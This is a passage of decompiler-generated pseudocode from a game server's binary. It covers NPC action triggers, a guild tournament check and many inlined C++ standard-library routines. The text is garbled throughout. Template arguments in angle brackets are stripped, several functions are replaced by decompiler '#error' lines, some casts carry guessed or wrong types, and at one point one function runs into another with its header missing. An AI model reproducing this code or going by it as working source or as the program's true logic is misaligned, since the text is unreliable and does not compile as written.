? v10 : 0; v5 = v4; if ( v4 && ShineObjectClass::ShineObject::so_CurMapname(v4) && (v7 = ShineObjectClass::ShineObject::so_CurMapname(v5), FieldMap::fm_GetGuildTournamentSystem((void *)v7)) ) { v8 = ShineObjectClass::ShineObject::so_CurMapname(v5); v9 = FieldMap::fm_GetGuildTournamentSystem((void *)v8); result = v1->m_Team == GuildTournamentSystem::GetGuildRegIndex((GuildTournamentSystem *)v9, (#331 *)v5); } else { LABEL_14: result = 0; } return result; } // 5438D0: inconsistent function type and number of purged bytes //----- (00543950) -------------------------------------------------------- #error "543950: undefined or illegal type '#331' (funcsize=56)" //----- (005439E0) -------------------------------------------------------- NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::operator__(NPCAction::CondGen_OptionReader *this) { NPCAction::CondGen_OptionReader *v1; // esi@1 int v2; // eax@1 const char *v3; // ecx@1 void *v4; // eax@3 NPCAction::ICondition *result; // eax@4 int v6; // ecx@5 ORToken v7; // [sp-20h] [bp-24h]@3 int v8; // [sp-1Ch] [bp-20h]@3 int v9; // [sp-18h] [bp-1Ch]@3 int v10; // [sp-14h] [bp-18h]@3 unsigned int v11; // [sp-10h] [bp-14h]@3 unsigned int v12; // [sp-Ch] [bp-10h]@1 NPCAction::CondGen_OptionReader *v13; // [sp+0h] [bp-4h]@1 v13 = this; v1 = this; v2 = this->currentRow_; v3 = *(const char **)&NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0]; v12 = v2; if ( NPCAction::CondGen_OptionReader::tableName_._Myres < 0x10 ) v3 = (const char *)&NPCAction::CondGen_OptionReader::tableName_._Bx; v13 = (NPCAction::CondGen_OptionReader *)&v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, v3, 0x14u); v4 = OptionReader::or_SelectFromOrder(v1->optionReader_, v7, v12); if ( v4 ) { v6 = v1->currentRow_; v12 = 0; v11 = 0; v1->currentRow_ = v6 + 1; result = NPCAction::CondGen_OptionReader::createCondition_( v1, (const char *)v4 + 1, (const char *)v4 + 34, *(_DWORD *)((char *)v4 + 67), *(_DWORD *)((char *)v4 + 71), (NPCAction::CondGen_OptionReader::ConditionData_ *)v4, v11, v12); } else { result = 0; } return result; } //----- (00543A60) -------------------------------------------------------- void __thiscall NeighborhoodChecker::NeighborhoodChecker(NeighborhoodChecker *this, std::vector > *triggerCollection) { NeighborhoodChecker *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->triggerCollection_ = triggerCollection; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&NeighborhoodChecker::_vftable_; } // 5D70C4: using guessed type int (__stdcall *NeighborhoodChecker___vftable_)(#331 *pcName, ShineRTTI *pkBaseRTTI, int distancesquar); //----- (00543A80) -------------------------------------------------------- void __thiscall NeighborhoodChecker::_NeighborhoodChecker(NeighborhoodChecker *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&NeighborhoodChecker::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5D70C4: using guessed type int (__stdcall *NeighborhoodChecker___vftable_)(#331 *pcName, ShineRTTI *pkBaseRTTI, int distancesquar); //----- (00543A90) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 24; return result; } //----- (00543AB0) -------------------------------------------------------- std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Max(std::_Tree_nod >,std::less,std::allocator > *_Pnode) { std::_Tree_nod >,std::less,std::allocator > *result; // eax@1 int i; // ecx@1 result = _Pnode; for ( i = *(_DWORD *)&_Pnode[4].baseclass_0.comp.baseclass_0.dummy[0]; !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 8) ) result = (std::_Tree_nod >,std::less,std::allocator > *)i; return result; } //----- (00543AD0) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(std::_Tree >,std::less,std::allocator > > > *this) { std::_Tree >,std::less,std::allocator > > > v1; // eax@1 std::_Tree >,std::less,std::allocator > > > v2; // edx@2 std::_Tree >,std::less,std::allocator > > > j; // eax@3 std::_Tree >,std::less,std::allocator > > > i; // eax@6 v1 = *this; if ( !*(_BYTE *)(*this + 33) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 33) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 4) ) { if ( *this != *(_DWORD *)(i + 8) ) break; *this = i; } *this = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 33); j = *(_DWORD *)j ) v2 = j; *this = v2; } } } //----- (00543B30) -------------------------------------------------------- unsigned int __thiscall std::basic_string_std::allocator>::rfind(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count) { unsigned int v4; // edi@1 unsigned int v5; // ecx@2 unsigned int result; // eax@2 unsigned int v7; // eax@4 unsigned int v8; // eax@5 unsigned int v9; // esi@7 char *v10; // edx@7 char *v11; // ecx@8 int i; // eax@10 unsigned int v13; // ecx@12 const char *v14; // edi@12 int v15; // esi@12 bool v16; // zf@12 char *v17; // ecx@18 unsigned int _Offa; // [sp+Ch] [bp+8h]@7 v4 = _Count; if ( !_Count ) { v5 = this->_Mysize; result = _Off; if ( _Off >= v5 ) result = v5; return result; } v7 = this->_Mysize; if ( _Count > v7 ) return -1; v8 = v7 - _Count; if ( _Off < v8 ) v8 = _Off; v9 = this->_Myres; _Offa = this->_Myres; v10 = (char *)&this->_Bx; if ( v9 < 0x10 ) v11 = (char *)&this->_Bx; else v11 = *(char **)v10; for ( i = (int)&v11[v8]; ; --i ) { if ( *(_BYTE *)i != *_Ptr ) goto LABEL_17; v13 = v4; v14 = _Ptr; v15 = i; v16 = 1; do { if ( !v13 ) break; v16 = *(_BYTE *)v15++ == *v14++; --v13; } while ( v16 ); if ( v16 ) break; v4 = _Count; v9 = _Offa; LABEL_17: if ( v9 < 0x10 ) v17 = v10; else v17 = *(char **)v10; if ( (char *)i == v17 ) return -1; } if ( _Offa >= 0x10 ) v10 = *(char **)v10; return i - (_DWORD)v10; } //----- (00543BD0) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode) { int v2; // eax@1 int v3; // ecx@3 int v4; // ecx@5 v2 = *(_DWORD *)&_Wherenode[4].baseclass_0.comp.baseclass_0.dummy[0]; *(_DWORD *)&_Wherenode[4].baseclass_0.comp.baseclass_0.dummy[0] = *(_DWORD *)v2; if ( !*(_BYTE *)(*(_DWORD *)v2 + 33) ) *(_DWORD *)(*(_DWORD *)v2 + 4) = _Wherenode; *(_DWORD *)(v2 + 4) = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; v3 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v3 + 4) ) { *(_DWORD *)(v3 + 4) = v2; *(_DWORD *)v2 = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { v4 = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)v4 ) { *(_DWORD *)v4 = v2; *(_DWORD *)v2 = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { *(_DWORD *)(v4 + 8) = v2; *(_DWORD *)v2 = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } } } //----- (00543C30) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode) { int v2; // eax@1 int v3; // esi@1 int v4; // ecx@3 int v5; // ecx@5 v2 = *(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0]; *(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0] = *(_DWORD *)(*(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0] + 8); v3 = *(_DWORD *)(v2 + 8); if ( !*(_BYTE *)(v3 + 33) ) *(_DWORD *)(v3 + 4) = _Wherenode; *(_DWORD *)(v2 + 4) = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; v4 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v4 + 4) ) { *(_DWORD *)(v4 + 4) = v2; *(_DWORD *)(v2 + 8) = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { v5 = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v5 + 8) ) { *(_DWORD *)(v5 + 8) = v2; *(_DWORD *)(v2 + 8) = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { *(_DWORD *)v5 = v2; *(_DWORD *)(v2 + 8) = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } } } //----- (00543C90) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec(std::_Tree >,std::less,std::allocator > > > *this) { std::_Tree >,std::less,std::allocator > > > v1; // eax@1 std::_Tree >,std::less,std::allocator > > > v2; // edx@3 std::_Tree >,std::less,std::allocator > > > i; // eax@4 std::_Tree >,std::less,std::allocator > > > v4; // eax@7 v1 = *this; if ( *(_BYTE *)(*this + 33) ) { *this = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 33) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 33) ) { do { if ( *this != *(_DWORD *)v4 ) break; *this = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 33) ); if ( !*(_BYTE *)(v4 + 33) ) *this = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 8) ) v2 = i; *this = v2; } } } //----- (00543CF0) -------------------------------------------------------- std::_Tree_nod >,std::less,std::allocator > *__thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(std::_Tree >,std::less,std::allocator > > > *this) { std::_Tree_nod >,std::less,std::allocator > *result; // eax@1 result = (std::_Tree_nod >,std::less,std::allocator > *)operator new(0x24u); if ( result ) *(_DWORD *)&result->baseclass_0.comp.baseclass_0.dummy[0] = 0; if ( result != (std::_Tree_nod >,std::less,std::allocator > *)-4 ) *(_DWORD *)&result[2].baseclass_0.comp.baseclass_0.dummy[0] = 0; if ( result != (std::_Tree_nod >,std::less,std::allocator > *)-8 ) *(_DWORD *)&result[4].baseclass_0.comp.baseclass_0.dummy[0] = 0; result[16].baseclass_0.comp.baseclass_0.dummy[0] = 1; result[16]._Alnod.baseclass_0.dummy[0] = 0; return result; } //----- (00543D30) -------------------------------------------------------- #error "543D30: undefined or illegal type '#331' (funcsize=21)" //----- (00543D70) -------------------------------------------------------- #error "543D70: undefined or illegal type '#331' (funcsize=79)" //----- (00543E60) -------------------------------------------------------- void __thiscall NPCAction::Manager::_Manager(NPCAction::Manager *this) { NPCAction::Manager *v1; // edi@1 NPCAction::ICondition **v2; // ebx@1 NPCAction::ICondition **i; // esi@1 v1 = this; v2 = this->container_._Mylast; for ( i = this->container_._Myfirst; i != v2; ++i ) { if ( *i ) ((void (__stdcall *)(_DWORD))(*i)->baseclass_0.vfptr->__vecDelDtor)(1); } if ( v1->container_._Myfirst ) operator delete(v1->container_._Myfirst); v1->container_._Myfirst = 0; v1->container_._Mylast = 0; v1->container_._Myend = 0; } //----- (00543ED0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, NPCAction::Trigger *_First, NPCAction::Trigger *_Last) { NPCAction::Trigger *i; // esi@1 for ( i = _First; i != _Last; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); } //----- (00543F00) -------------------------------------------------------- void __thiscall NPCAction::Trigger::_Trigger(NPCAction::Trigger *this) { NPCAction::Trigger *v1; // esi@1 v1 = this; if ( this->actions_._Myfirst ) operator delete(this->actions_._Myfirst); v1->actions_._Myfirst = 0; v1->actions_._Mylast = 0; v1->actions_._Myend = 0; IObserver::_IObserver((ItemSmallBag *)v1); } //----- (00543F30) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 NPCAction::Trigger *v2; // esi@1 NPCAction::Trigger *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) v2->baseclass_0.vfptr->__vecDelDtor((IObserver *)v2, 0); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00543F90) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00544000) -------------------------------------------------------- void __thiscall NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this) { std::vector>::_Tidy(&this->triggers_); } //----- (00544010) -------------------------------------------------------- void __thiscall std::pair>>::_pair>>(std::pair > > *this) { std::vector>::_Tidy(&this->second); } //----- (00544020) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(4 * _Capacity); v2->_Myend = (NPCAction::IAction **)((char *)v4 + 4 * _Capacity); v2->_Myfirst = (NPCAction::IAction **)v4; v2->_Mylast = (NPCAction::IAction **)v4; result = 1; } else { result = 0; } return result; } //----- (00544070) -------------------------------------------------------- void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator > *this) { std::vector>::_Tidy((std::vector > *)&this[8]); } //----- (00544080) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 NPCAction::IAction **v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 NPCAction::IAction **v7; // ecx@7 NPCAction::IAction **v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (NPCAction::IAction **)v6; v2->_Mylast = (NPCAction::IAction **)v6; v2->_Myend = (NPCAction::IAction **)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (NPCAction::IAction **)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00544126) -------------------------------------------------------- void __usercall _L150845(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int a2) { void *v2; // esi@1 char *v3; // ebx@2 int v4; // edx@3 void *result; // eax@6 NPCAction::IAction **v6; // ecx@7 int v7; // ebp@8 int v8; // eax@11 int v9; // eax@15 int v10; // eax@19 NPCAction::IAction **v11; // ebx@21 int v12; // ecx@24 int v13; // eax@25 v2 = this; if ( this == (void *)a2 ) return v2; v3 = *(char **)(a2 + 4); if ( !v3 || (v4 = (*(_DWORD *)(a2 + 8) - (signed int)v3) >> 2) == 0 ) { if ( *((_DWORD *)this + 1) ) operator delete(*((void **)this + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } v6 = (NPCAction::IAction **)*((_DWORD *)this + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 2; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { memmove((char *)v6, v3, 4 * ((*(_DWORD *)(a2 + 8) - (signed int)v3) >> 2)); v8 = *(_DWORD *)(a2 + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 4 * ((*(_DWORD *)(a2 + 8) - v8) >> 2); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) >> 2; else v9 = 0; if ( v4 > (unsigned int)v9 ) { if ( v6 ) operator delete(*((void **)v2 + 1)); v12 = *(_DWORD *)(a2 + 4); if ( v12 ) v13 = (*(_DWORD *)(a2 + 8) - v12) >> 2; else v13 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( *(char **)(a2 + 4), *(_DWORD *)(a2 + 8), *((char **)v2 + 1)); return v2; } if ( v6 ) v10 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 2; else v10 = 0; v11 = (NPCAction::IAction **)(*(_DWORD *)(a2 + 4) + 4 * v10); std::copy( *(NPCAction::IAction ***)(a2 + 4), v11, *((NPCAction::IAction ***)v2 + 1)); *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (char *)v11, *(_DWORD *)(a2 + 8), *((char **)v2 + 2)); return v2; } //----- (00544290) -------------------------------------------------------- void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this, NPCAction::Trigger *__that) { this->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; this->condition_ = __that->condition_; std::vector>::vector>( &this->actions_, &__that->actions_); } // 5D70E8: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (005442F0) -------------------------------------------------------- void *__thiscall NPCAction::Trigger::_scalar_deleting_destructor_(NPCAction::Trigger *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::Trigger::_Trigger(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00544310) -------------------------------------------------------- NPCAction::Trigger *__cdecl std::_Copy_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { NPCAction::Trigger *v4; // esi@1 NPCAction::Trigger *v5; // edi@2 NPCAction::Trigger *result; // eax@4 v4 = _First; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v5->condition_ = v4->condition_; std::vector>::operator_( &v5->actions_, (int)&v4->actions_); ++v4; ++v5; } while ( v4 != _Last ); result = v5; } return result; } //----- (00544350) -------------------------------------------------------- NPCAction::Trigger *__cdecl std::_Copy_backward_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { NPCAction::Trigger *v4; // esi@1 NPCAction::Trigger *v5; // edi@2 NPCAction::ICondition *v6; // eax@3 NPCAction::Trigger *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = (NPCAction::ICondition *)*((_DWORD *)v4 - 5); --v4; --v5; v5->condition_ = v6; std::vector>::operator_( &v5->actions_, (int)&v4->actions_); } while ( v4 != _First ); result = v5; } return result; } //----- (00544390) -------------------------------------------------------- void __cdecl std::generate_n>::iterator_unsigned_int_NPCAction::TriggerGen_OptionReader>(std::vector >::iterator _Dest, unsigned int _Count, NPCAction::TriggerGen_OptionReader _Func) { void *v3; // esi@2 unsigned int v4; // edi@2 NPCAction::Trigger *v5; // eax@3 NPCAction::Trigger *v6; // esi@6 NPCAction::Trigger *v7; // edi@7 NPCAction::Trigger result; // [sp+Ch] [bp-24h]@3 int v9; // [sp+2Ch] [bp-4h]@1 v9 = 0; if ( _Count ) { v3 = (void *)(*(_DWORD *)&_Dest + 8); v4 = _Count; do { v5 = NPCAction::TriggerGen_OptionReader::operator__(&_Func, &result); *((_DWORD *)v3 - 1) = v5->condition_; LOBYTE(v9) = 1; std::vector>::operator_(v3, (int)&v5->actions_); LOBYTE(v9) = 0; if ( result.actions_._Myfirst ) operator delete(result.actions_._Myfirst); result.actions_._Myfirst = 0; result.actions_._Mylast = 0; result.actions_._Myend = 0; IObserver::_IObserver((ItemSmallBag *)&result); v3 = (char *)v3 + 24; --v4; } while ( v4 ); } v6 = _Func.triggers_._Myfirst; v9 = -1; if ( _Func.triggers_._Myfirst ) { v7 = _Func.triggers_._Mylast; if ( _Func.triggers_._Myfirst != _Func.triggers_._Mylast ) { do { ((void (__thiscall *)(NPCAction::Trigger *))v6->baseclass_0.vfptr->__vecDelDtor)(v6); ++v6; } while ( v6 != v7 ); v6 = *(NPCAction::Trigger **)&_Func.triggers_.baseclass_0._Alval.baseclass_0.dummy[0]; } operator delete(v6); } JUMPOUT(*(int *)sub_544450); } // 544450: using guessed type int sub_544450(); //----- (00544450) -------------------------------------------------------- #error "FFFFFFFF: positive sp value has been found (funcsize=0)" //----- (00544460) -------------------------------------------------------- void __cdecl std::fill(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Val) { NPCAction::Trigger *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->condition_ = _Val->condition_; std::vector>::operator_( &i->actions_, (int)&_Val->actions_); } } //----- (005444A0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 NPCAction::Trigger *v6; // eax@2 NPCAction::Trigger *v7; // edi@2 NPCAction::Trigger *v8; // ebx@2 NPCAction::Trigger *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(NPCAction::Trigger **)&_Last, v4->_Mylast, *(NPCAction::Trigger **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = v6; for ( i = v6; i != v7; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (00544500) -------------------------------------------------------- NPCAction::Trigger *__cdecl std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, NPCAction::Trigger *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { NPCAction::Trigger *v5; // esi@1 std::vector >::const_iterator v6; // edi@1 NPCAction::ICondition *v7; // eax@4 int v9; // [sp+0h] [bp-20h]@1 NPCAction::Trigger *_Next; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v11 = &v9; _Next = _Dest; v12 = 0; while ( v6 != _Last ) { if ( v5 ) { v5->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; v7 = *(NPCAction::ICondition **)(*(_DWORD *)&v6 + 4); LOBYTE(v12) = 2; v5->condition_ = v7; std::vector>::vector>( &v5->actions_, (std::vector > *)(*(_DWORD *)&v6 + 8)); } ++v5; LOBYTE(v12) = 0; *(_DWORD *)&v6 += 24; } return v5; } // 5D70E8: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (005445A0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(NPCAction::Trigger *_First, unsigned int _Count, NPCAction::Trigger *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ebx@1 NPCAction::Trigger *v6; // esi@1 NPCAction::ICondition *v7; // eax@4 int v8; // [sp+0h] [bp-20h]@1 NPCAction::Trigger *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Count; v6 = _First; v10 = &v8; _Next = _First; v11 = 0; while ( v5 ) { if ( v6 ) { v6->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; v7 = _Val->condition_; LOBYTE(v11) = 2; v6->condition_ = v7; std::vector>::vector>( &v6->actions_, &_Val->actions_); } --v5; ++v6; LOBYTE(v11) = 0; } } // 5D70E8: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (00544640) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator > > > *v3; // ebp@1 std::_Tree >,std::less,std::allocator > > > v4; // ebx@4 std::_Tree >,std::less,std::allocator > > > v5; // edi@5 std::_Tree >,std::less,std::allocator > > > v6; // ecx@8 std::_Tree >,std::less,std::allocator > > > v7; // esi@9 int v8; // eax@11 int v9; // ebx@16 std::_Tree_nod >,std::less,std::allocator > *v10; // eax@18 int v11; // ebx@21 int v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 int v17; // eax@60 std::_Tree >,std::less,std::allocator > > > *v18; // eax@62 std::_Tree >,std::less,std::allocator > > > _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(_Where + 33) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 33) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == _Erasednode ) { if ( *(_BYTE *)(v5 + 33) ) v10 = (std::_Tree_nod >,std::less,std::allocator > *)v7; else v10 = std::_Tree>_std::less_std::allocator>>>_0>>::_Min((std::_Tree_nod >,std::less,std::allocator > *)v5); *(_DWORD *)v9 = v10; } v11 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v11 + 8) == _Erasednode ) { if ( *(_BYTE *)(v5 + 33) ) *(_DWORD *)(v11 + 8) = v7; else *(_DWORD *)(v11 + 8) = std::_Tree>_std::less_std::allocator>>>_0>>::_Max((std::_Tree_nod >,std::less,std::allocator > *)v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(v4 + 8) + 33) ) { v5 = *(_DWORD *)v4; goto LABEL_9; } v6 = _Where; v5 = *(_DWORD *)(_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(*(_DWORD *)v4 + 4) = _Where; *(_DWORD *)v6 = *(_DWORD *)v4; if ( v6 == *(_DWORD *)(v4 + 8) ) { v7 = v6; } else { v7 = *(_DWORD *)(v6 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; *(_DWORD *)v7 = v5; *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8); 